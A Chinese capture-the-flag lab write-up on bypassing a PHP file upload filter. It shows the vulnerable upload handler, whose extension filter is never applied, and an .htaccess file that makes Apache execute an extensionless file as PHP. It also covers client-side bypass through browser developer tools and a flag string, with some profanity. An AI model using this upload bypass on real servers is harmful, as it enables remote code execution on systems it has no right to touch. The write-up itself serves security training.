0x01 相关知识
1.什么是htaccess?
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
2.htaccess的功能有哪些?
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
0x02 漏洞利用
1.关于这个题,我忍不住爆粗口了,他妈的,连个正常图片都上传不了,你跟我玩nm呢。。
2.只能修改源代码,把之前的复制过来一份:
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
$filter = array(".jpg", '.png', '.gif');
if ($_FILES['file']['error']) {
die();
}
if ($_FILES['file']) {
$arr = $_FILES['file'];
$file_ext = trim(strtolower(strrchr($arr['name'], ".")));
if (file_exists(TPMELATE."/upload/".$arr['name'])){
echo "<script>alert('该文件已经存在')</script>";
} else{
$filename = iconv("UTF-8","gb2312",TPMELATE."/upload/".$arr['name']);
move_uploaded_file($arr["tmp_name"],$filename);
echo $filename;die();
}
}
require_once TPMELATE."/upload_file_1.html";
3.ok正式开始,上面已经介绍了.htaccess是一个针对目录改变配置的方法,所以我们使用.htaccess改变配置,让他将我们的文件解析成php
4.把php版本改为5.2.17的
5.新建文件名字为:.htaccess 文件内容为:
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "helo">
SetHandler application/x-httpd-php
</FilesMatch>
6. 上传文件:(老方法 f12修改前端代码 绕过一下)
7.上传helo文件:
8. 访问helo:
http://192.168.72.136/template/upload/helo
9.成功:
10.寻找flag:
11.找到flag并复制粘粘:vbchjgwestruyi
0x03 结语
这个题不改源代码的话非常难